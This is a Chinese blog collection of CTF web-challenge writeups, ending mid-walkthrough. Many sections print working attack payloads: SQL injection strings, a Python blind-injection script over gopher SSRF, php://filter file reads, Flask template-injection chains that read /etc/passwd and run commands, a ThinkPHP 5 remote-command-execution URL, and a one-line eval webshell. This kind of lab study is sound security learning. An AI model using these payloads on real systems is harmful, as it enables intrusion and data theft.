WRITEUP

CTF的Writeup

网站

代码

牛客网 - 互联网求职神器和备考学习平台

力扣-LeetCode

洛谷

CTF

攻防世界

BugkuCTF - 练习平台

看雪题库

愿安全人不在踩坑,一年多以来网络安全的学习经验

BUUCTF在线评测

CTFHub

WEB

攻防世界

CAT/XCTF 4th-WHCTF-2017(4)

writeup
最开始看到这熟悉的界面,还以为是简单的命令注入,输入127.0.0.1发现的确是ping命令,但是当输入127.0.0.1 & dir的时候报错,显示Invalid URL。然后就懵逼了,毫无下手之地。
查看大佬们的writeup之后发现,可以使用宽字符注入,即url=%df,然后他就会爆出html代码,把代码复制打开,就是报错原因和相关信息。
(django报错页面,将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。)
在这里插入图片描述
在这里可以看到pyhton path,第一行就是项目路径。
在这里插入图片描述
这里没看懂,不过大概意思是可以使用@读取文件内容
这里前面还有一个字典fuzz的操作,@没有被过滤
在这里插入图片描述

django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。
django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。即/opt/api/api/settings.py
打开url=@/opt/api/api/settings.py也出现了一段html代码,复制打开可以看到Name:/opt/api/database.sqlite3
在这里插入图片描述
直接打开url=@/opt/api/database.sqlite3,直接搜索flag或ctf
搜索ctf获得结果WHCTF{yoooo_Such_A_G00D_@}

Training-WWW-Robots(1)

这是一个学习robots文件的题,直接在网址后加/robots.txt或者使用站长工具进行robots检测。可以看到

1
2
3
4
5
User-agent: *
Disallow: /fl0g.php

User-agent: Yandex
Disallow: *

在这里插入图片描述
那就直接打开/fl0g.php,就能看到flag
cyberpeace{b03432652f32469133918d7f56ca2cf1}

PHP2(1)

你能登录这个网站吗?
没有思路,can can need
看了writeup才发现我忘了可以进行后台地址爆破
使用御剑或者dirsearch
(因为题目提示了php,那就只选php就行)
在这里插入图片描述
dirsearch -u URL
在这里插入图片描述
这两个死活没用,看了一下,人家能爆出来index.phps?原来是自己加的。。
打开出现下述代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

两次比较,第一次是===
全等于操作过程如下:
1.判断全等于操作符2边的数据类型是否相同 如果不相同,则返回false
2.判断全等于操作符2边的值是否相等,如果 不相等,则返回false
3.最后将上面2步的操作进行与操作。返回与操作的结果。
第二次是==,只比较值(强制进行数据类型转换)

所以我们传入的必须是经过两次url编码(get也会解码)后的admin(任意数量字符),比如传入admin->%61dmin->%2561dmin(这里需要传入的地址可以是根目录或者/index.php,但是不能是/index.phps,因为它只是源码)

urlencode将需要转码的字符转为16进制,然后从右到左,取4位(不足4位直接处理),每2位做一位,前面加上%,编码成%XY格式。
但是这里直接使用在线工具对admin编码是不可以的,因为它不会对字符和数字进行编码,我们需要直接转成16进制,然后加上%
字符转16进制

然后就能看到flagcyberpeace{2babf104e185faee3b5700e452be462d}

unserialize3(1)

1
2
3
4
5
6
7
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}//这里本来题目没有大括号
?code=

看到?code=我猜到应该是用get传参,其它就不会了
看了大佬的writeup大概的思路是把xctf这个类序列化后的结果用get传过去,同时还要跳过__wakeup()函数

__wakeup(),执行unserialize()时,先会调用这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class xctf{
//定义一个名为xctf的类
public $flag = '111';
//定义一个公有的类属性$flag,值为111
public function __wakeup(){
//定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf();//使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak));//输出被序列化的对象(peak)
?>

序列化的结果是
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
大概的意思是长度4的object xctf包含一个只有1个参数的数组
里面有一个长度4的string flag的值为长度3的string 111

那要怎样才能跳过__wakeup()函数呢?

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

将上述的序列化的字符串中的对象属性个数由真实值1修改为2,即
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
然后用上面说的get方式访问,就能看到flag
cyberpeace{dc66a5c3f1fa0cb3bd5517df3fa8dc8c}

ics-06/XCTF 4th-CyberEarth(1)

点开是一个恢弘的界面(贴图)
在这里插入图片描述
看到这么多选项,我是没想着一个个试着点的,但是论快捷还是一个个点。
也可以查看元素搜href,不过还是点方便。
点击报表中心会转到另一个界面,让你选日期玩,不过怎么选都没用
不过可以注意到url有一个get传参。
尝试使用sql注入好像不太行,看了别人的writeup才知道要爆破。。(这是我没想到的)
这里burpsuite中payload type要选择Numbers,设置从1到5000,step为1
当id为2333时长度不一样
在response可以看到flag

cyberpeace{53736b5e0bffa8fa26d2b5987f74fa52}

view_source/Cyberpeace-n3k0(1)

这里好像鼠标右键被禁用了,但是很少用右键打开检查。。
ctrl+u查看源码或者F12查看元素,得到
flag

cyberpeace{41e995b7ee379f3bd0eedc31a829dee9}

get_post/Cyberpeace-n3k0(1)

这里跟着它的要求先get提交a=1,然后post提交b=2就能获得flag
这里post可以用HackBar插件,当然抓包在下面添加post也行
cyberpeace{8e329e962b4c0ce9dd4149dca6a6e733}

robots/Cyberpeace-n3k0(1)

访问/robots.txt可以看到
在这里插入图片描述
这里的Disallow参数代表禁止遵守robots规则的搜索引擎爬取
直接访问,可以获得flag
cyberpeace{49643cd3a8ce8917ff5c2f0a022f198a}

backup/Cyberpeace-n3k0(1)

访问/index.php没反应
常见的备份文件后缀名:

.bak
.git
.svn
.swp
.~
.bash_history
.bkf

因为题目名是backup,所以后缀名有可能是bak
使用dirsearch试一下
在这里插入图片描述
访问/index.php.bak,会下载一个index.php.bak文件,记事本打开得到flag
Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

在这里插入图片描述
访问/cookie.php,提示See the http response
在响应标头里可以看到flag
在这里插入图片描述
cyberpeace{8d6cfbe3f601cd12e4e2c6f1b0807c11}

disabled_button/Cyberpeace-n3k0(1)

在这里插入图片描述
去掉disable,点击获得flag
或者可以post传auth=flag
cyberpeace{ce6972b365ff4502f2c0928f9d833569}

weak_auth/Cyberpeace-n3k0(1)

随便输了个adminpassword试了一下,提示
在这里插入图片描述
又随便输了个11试了下,提示please login as admin
那就只用爆破密码就行
把top1w导入,本来以为很久,结果第一个就出了
在这里插入图片描述

在这里插入图片描述
获得flagcyberpeace{80b17eb4a68b7fcff023f3f9b8e7c371}

simple_php/Cyberpeace-n3k0(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>

php中有两种比较符号

=== 会同时比较字符串的值和类型
== 会先将字符串换成相同类型,再作比较,属于弱类型比较

get传入a和b
is_numeric() 函数用于检测变量是否为数字或数字字符串
要求a==0且a不为空,a=”0”或者a=0a或者a=任意字符串
要求b不为数字或数字字符串且大于1234,传入b=1235a
所以传入?a=0a&b=1235a就能获得完整flag
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

baby_web(1)

dirsearch发现如下
在这里插入图片描述
访问index.php会重定向到1.php,这里没有思路了。
看writeup发现需要使用burpsuite抓包
当它重定向时,send to repeater,修改GET /index.php,send
提示Flag is hidden!

在响应头可以看到flag

image-20221018145224981
flag{very_baby_web}

inget/宜兴网信办(1)

看题目抓不着头脑,结果看writeup说这是一个SQL注入的题
查了下inget,投入;输入;输入过程,okok(我看提示bypass想歪了)
bypass绕过; 避开
使用sqlmap得到flag
cyberpeace{d59b2f9aadab6159052039f0edeefe3a}

easyupload/CTF(1)

看名字就知道,上传一句话木马,但是提示Your file looks wicked
上传正常图片可以,那就上传图片马
但是上传图片马也失败了
看了一下writeup,发现内容不能包含php,所以需要用短标签
可以使用图片马或者php前加GIF89a
在这里插入图片描述
还需要上传.user.ini文件,上传时抓包修改Content-Type: image/gif
在这里插入图片描述
通过.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
提交后会显示路径,访问/uploads/index.php
但是它怎么知道这个目录下有php文件呢?
这里需要访问的是index.php,通过.user.ini配置让它包含1.png
在蚁剑中可以看到flag在根目录
cyberpeace{9aac6bc58d51e4ee318aee88578bd973}

fileinclude/宜兴网信办(1)

提示
在这里插入图片描述
@include表示包含并运行指定文件的内容
file_get_contents() 把整个文件读入一个字符串中。

用hackbar传一个cookie:language=chinese,提示变化
传flag的话,界面变为空白
看了下writeup,需要传入的cookie为:
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。

然后能看到经base64加密后的字符串
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezhhMzllNTc1N2U4ZDAzNTQyZjVlMzRlZjY1YzE1Nzk3fSI7DQo/Pg==
解密后获得flag
cyberpeace{8a39e5757e8d03542f5e34ef65c15797}

*very_easy_sql/CTF(1)

点一下submit,发现它根本没有跳转,查看元素,发现果然是假表单
在这里插入图片描述
提示use.php,那就让访问use.php

提示url you want to curl

cURL是一个利用URL语法在命令行下工作的文件传输工具

输入flag好像没反应,看了一眼url,这不会也是sql注入吧

sqlmap level1好像不行

看了眼writeup,这是一个ssrf题,知识盲区。

gopher协议

URL编码:替换回车换行为*%0d%0a*

在kali的终端执行

curl http://61.147.171.105:57675/use.php?url=gopher://127.0.0.1:80/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aCookie%3A%20PHPSESSID%3D1f546328759632456215236845122365%3B%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2024%250d%250a%250d%250auname%3Dadmin%2526passwd%3Dadmin

1
2
3
4
5
6
7
8
9
http://61.147.171.105:57675/use.php?url=gopher://127.0.0.1:80/_POST /index.php HTTP/1.1

Host: localhost:80
Cookie: PHPSESSID=1f546328759632456215236845122365;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

uname=admin&passwd=admin

响应包

image-20220919101805654

1
this_is_your_cookie=YWRtaW4%3D

所以这是一个Cookie注入

gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a

1
2
3
4
5
6
7
8
gopher://127.0.0.1:80/_GET /index.php HTTP/1.1
Host: localhost:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: this_is_your_cookie=" bs ";

bs为注入的字段
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")

构建下列POC,实现cookie延时注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib.parse
import requests
import time
import base64
url="http://61.147.171.105:57675/use.php?url="
flag=""
for pos in range(1,50):
for i in range(33,127):
poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
t1=time.time()
res=requests.get(url+final_poc)
t2=time.time()
if(t2-t1>2):
print(t2-t1)
flag+=chr(i)
break
print(flag)

cyberpeace{c2329560bc8e2346a72681101d023249}

fileclude/CTF(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}

大致意思是get传file1和file2,file2的内容是hello ctf
file1使用php://filter伪协议来读取源代码
file2可以用php://input来绕过
/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
这里需要使用burpsite抓包修改get为POST,并且POST传”hello ctf”
得到base64加密后的
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXtmMTRiMDE4MzJlZDliMThiMzM4MGRiYzE3NzE1NjgyOX0=
解密,获得flag
cyberpeace{f14b01832ed9b18b3380dbc177156829}

NewsCenter/XCTF 4th-QCTF-2018(2)

输入1' or 1=1#发现有sql注入漏洞
sqlmap对抓包结果进行注入,得到flag
cyberpeace{d59b2f9aadab6159052039f0edeefe3a}
但是这个flag不是这一题的
为什么sqlmap不行呢?
sqlmap手册
因为之前用sqlmap刷了其它题,有缓存
使用–purge清除缓存注入

直接手工注入
1' order by 4#错误,说明3个注入点
1' union select 1,2,3#,发现2,3有输出
1' union select 1,database(),3#,dbs==news
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='news'#,tbn=news,secret_table
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='secret_table'#id,fl4g
1' union select 1,group_concat(id),group_concat(fl4g) from secret_table#
得到flag
QCTF{sq1_inJec7ion_ezzz}

warmup/HCTF(2)

访问看到一个img

查看源代码发现提示source.php,访问看到php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
//mb_substr() 函数返回字符串的一部分,substr()函数只针对英文字符,分割中文文字使用 mb_substr()
$page,
0,
mb_strpos($page . '?', '?')//.是拼接符
//mb_strpos()返回要查找的字符串在字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

访问一下hint.php,提示flag not here, and flag in ffffllllaaaagggg

那就只能靠source.php,大概思路应该是传一个用?拼接的字符串,截断后的前部分是列表内的内容,后部分是ffffllllaaaagggg,那就构建hint.php?ffffllllaaaagggg,但是这个作为参数传进去没有flag显示。

看了大佬的wp,发现需要用…/尽可能多的返回到顶级目录,即hint.php?/../../../../ffffllllaaaagggg,就能得到flag

大佬的思路里还把?编码了来绕过第三个判断,但是好像没有必要

flag{25e7bce6005c4e0c983fb97297ac6e5a}

supersqli/强网杯(2)

打开看一下源码,提示sqlmap是没有灵魂的

直接上sqlmap,

1
2
3
sqlmap -u http://61.147.171.105:50519/?inject=1  --dbs --batch
sqlmap -u http://61.147.171.105:50519/?inject=1 -D supersqli --tables --batch
//这里提示 No tables found

那就手工注一下

输入1' or 1=1#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}

看了大佬的思路,发现它过滤了下列字符,且使用/i标记大小写不敏感

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

但是可以用;执行多执行多sql语句,采用堆叠查询

1
-1';show tables#
1
2
3
4
5
6
7
8
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
1
-1';show columns from `1919810931114514`#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

然后采用预编译的方式进行绕过过滤select

1
-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#
1
strstr($inject, "set") && strstr($inject, "prepare")

发现使用strstr()过滤了setprepare

strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串

但是这个可以用大小写绕过

1
-1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prEpare aaa from @sql;EXECUTE aaa;#

然后就能得到flag

看了官方的wp,因为题目没有禁用rename和alter,可以把words表改名成其它,把1919810931114514表改成words(因为word是默认查询的表),但是它少了一个id列,可以将flag字段改为id,或者添加id字段。

1
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

然后查询-1’ or 1=1#也能得到flag

另一位大佬的wp使用了关键字handler,也能得到flag

1
-1';handler `1919810931114514` open as `a`;handler `a` read next;

handler详解

  • handler tbl_name open as yunensec; #指定数据表进行载入并将返回句柄重命名

  • handler tbl_name read first; #读取指定表/句柄的首行数据

  • handler tbl_name read next; #读取指定表/句柄的下一行数据

  • handler yunensec close; #关闭句柄

flag{c168d583ed0d4d7196967b28cbd0b5e9}

Web_php_include/CTF(2)

访问,php代码

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

看了下大佬的wp,主要是两种伪协议,传php代码或者木马?

1.php://伪协议

php://

这里是用php://input协议传php代码

hackbar我这里也不行

bp可以,访问/?page=pHp://input(使用大小写或者双写绕过),抓包,在下面添加

1
<?php system('ls');?>

返回

1
2
3
fl4gisisish3r3.php
index.php
phpinfo.php

然后用cat查看fl4gisisish3r3.php,就能得到flag

1
2
3
4
5
<?php system('cat fl4gisisish3r3.php');?>

<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>

2.data://伪协议

需满足allow_url_fopenallow_url_include同时开启才能使用

1
file.php?file=data://text/plain,<?php phpinfo()?>

这里不能直接用php,需要使用base64加密后才能得到flag

1
2
3
/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

<?php system("cat fl4gisisish3r3.php")?>//base64编码后得到后面的字符

这里需要查看源码才能得到flag

3.借助hello参数

这里要构造hello参数必须先page参数为真才能包含。

1
2
/?page=http://127.0.0.1/?hello=<?system("ls")?>
/?page=http://127.0.0.1/?hello=<?show_source ("fl4gisissh3r3.php")?>

也能得到flag

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

php_rce(2)

ThinkPHP 5.X - Remote Command Execution

远程代码执行漏洞,参数名是s

1
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
1
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var
1
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

或者通过find命令查找flag

1
2
3
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

/flag /flag

flag{thinkphp5_rce}

Web_php_unserialize/CTF(2)

php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

正则表达式/[oc]:\d+:/i匹配

/.../表示匹配中间的表达式

[oc]匹配o或者c

:

\d匹配一个数字字符。等价于 [0-9]。

+匹配前面的子表达式一次或多次,多个数字

i大小写不敏感

所以参数var需要满足base64解码后不包含o:1,但是可以用o:+4

php中类实例化的时候,首先运行wakeup()函数,在序列化时先运行sleep()函数,在反序列化时先运行wakeup(),在脚本结束调用destruct()函数。

1
2
wakeup()有个执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行wakeup()函数
只要序列化的中的成员数大于实际成员数,即可绕过wakeup()

public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置

修改序列化字符串中属性1改为2绕过wakeup()函数

1
2
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

这里Demofile左右是有\x00的,但是被编辑器忽略了

在这里插入图片描述

可以在bp里面修改,这里要加00

在这里插入图片描述

然后base64加密一下用var传参就能得到flag

1
/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQo=

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

Web_python_template_injection/CTF(2)

完全不会,看看大佬的wp

flask模板注入

访问/{{config}}查看全局变量

文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。

思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。

1
2
3
4
5
6
7
8
魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

寻找可用引用

1
{{''.__class__.__mro__[2].__subclasses__()}}

有一个<type 'file'>可以用来文件读取,例如

1
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

<class 'warnings.catch_warnings'>

1
{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys() }}

<class ‘site._Printer’>可以用来命令执行,例如

1
2
3
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
1
URL /['index.py', 'fl4g'] not found

直接查看fl4g文件,得到flag

1
{{ [].__class__.__base__.__subclasses__()[40]('fl4g').read() }}

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

web2/CTF(2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);//反转字符串
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);//返回当前字符
$__=ord($_c)+1;//返回字符串第一个字符的 ASCII 值+1
$_c=chr($__);//从指定ASCII码中返回字符
$_=$_.$_c;//拼接
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

获取明文,反过来操作就行

如下,得到flag

1
2
3
4
5
6
7
8
9
$_o=base64_decode(strrev(str_rot13($miwen)));
echo $_o."\n";
$a="";
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$_c=chr(ord($_c)-1);
$a=$a.$_c;
}
echo strrev($a);

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

command_execution/Cyberpeace-n3k0(2)

命令注入,用&连接

在/home目录下有一个flag.txt,得到flag

在这里插入图片描述

cyberpeace{49782780ee64f5453147468a72161f08}

webshell/Cyberpeace-n3k0(2)

1
2
你会使用webshell吗?
<?php @eval($_POST['shell']);?>

用hackbar传参数shell就行

1
2
3
shell=system("ls");
flag.txt index.php
shell=system("cat flag.txt");

cyberpeace{3bdaaca4709609b1c356b98ba243db0b}

xff_referer/Cyberpeace-n3k0(2)

提示ip地址必须为123.123.123.123,需要修改X-Forwarded-For

1
2
3
X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址,但是这个IP却未必是真实的
X-Forwarded-For: client1, proxy1, proxy2
第一项为真实的客户端ip,剩下的就是曾经经过的代理或负载均衡的ip地址,经过几个就会出现几个

提示必须来自https://www.google.com,需要修改Referer

得到flag

cyberpeace{edf5ae233479849e3d4896efda7155bd}

upload1(2)

把如下php文件后缀改成png,然后在上传的时候bp抓包把文件名改回成php

用御剑连接后,在上一级目录下有flag.php,打开就能得到flag

cyberpeace{9d2d0b1dcdaa91db15aa5b668a95e7bd}

very_easy_sql/CTF(3)

这一题和之前标星号的一样

favorite_number(3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}

大致的思路是stuff用某个漏洞传一个数组,num用&传一个命令注入

提示了php5.5.9,说明存在漏洞,查了一下,是整数溢出漏洞

PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation

即,当数组为九位16机制数时,会溢出,等同于重新排序,16的8次方即4294967296在逻辑上等同于下标0;

所以需要传stuff[4294967296]=admin&stuff[1]=user

正则表达式/^\d+$/im的含义是

^ $:边界符

\d+:一个或多个数字

i:不区分大小写

m:多行匹配

preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。

所以当启动多行匹配时,第二行会导致命令执行,而%0a就相当于;

num=1%0als /

这里用hackbar好像不行,需要用bp抓hackbar的包,看了一下,缺少的是Referer字段

/目录下就有flag文件

但是这里把cat、echo、flag都ban了

可以用这些查看

img

而文件名被ban的情况下,可以用inode索引号来匹配文件,使用ls -i可以看到inode号

18497049 flag

使用下列命令查看flag

1
2
tac `find / -inum 18497049`
这里用的是反引号,表示命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出

但是结果504了?

尝试其它方法

用printf将命令写入一个文件

1
2
3
4
5
printf /fla > /tmp/hello
printf g >> /tmp/hello
tac `tac /tmp/hello`

# printf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac `tac /tmp/hello`

可以得到flag

还有一个方法使用全局变量

1
a=/fla;b=g;tac $a$b

cyberpeace{e59c6f6c33936dec616de49d44d8d3f2}

fakebook/网鼎杯2018(3)

不太会,看看大佬的WP

先查看robots.txt,可以看到有/user.php.bak,访问并下载文件

可以看到判断合法blog的函数

1
2
3
4
5
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

需要blog字段满足http(s)://(数字/字母一个以上).(字母2-6个):(数字一个以上)或者(非空字符0次以上),忽略大小写

例如:

1
http://baidu.com

成功添加

image-20220916102952876

点击链接可以看到url中?no=1

猜测存在sql注入,输入'报错

用sqlmap注一下,没有结果,只能手工注入

1
order by 5报错,说明有4个字段
1
2
3
4
union select 1,2,3,4显示no hack ~_~
尝试绕过,用/**/
?no=-1/**/union/**/select/**/1,database(),3,4--+
发现字段2是注入点,显示数据库名fakebook

image-20220916111128542

1
2
?no=-1/**/union/**/select/**/1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
表名users

image-20220916141845150

1
2
?no=-1/**/union/**/select/**/1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook'
列名:no,username,passwd,data

image-20220916142609446

1
2
3
4
?no=-1/**/union/**/select/**/1,group_concat(username,passwd),3,4 from users
这里username\passwd就是之前操作生成的
?no=-1/**/union/**/select/**/1,group_concat(data),3,4 from users
O:8:"UserInfo":3:{s:4:"name";s:2:"ad";s:3:"age";i:12;s:4:"blog";s:12:"http://1.com";}

image-20220916145142826

这里用dirsearch扫描可以看到flag.php,且和view.php在同一目录下。

image-20220916143348493

这里有两种方法查看flag.php文件

1.用file:///协议来读取/var/www/html/flag.php内容

1
?no=-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码,可以看到iframe标签里有base64加密的字符串

1
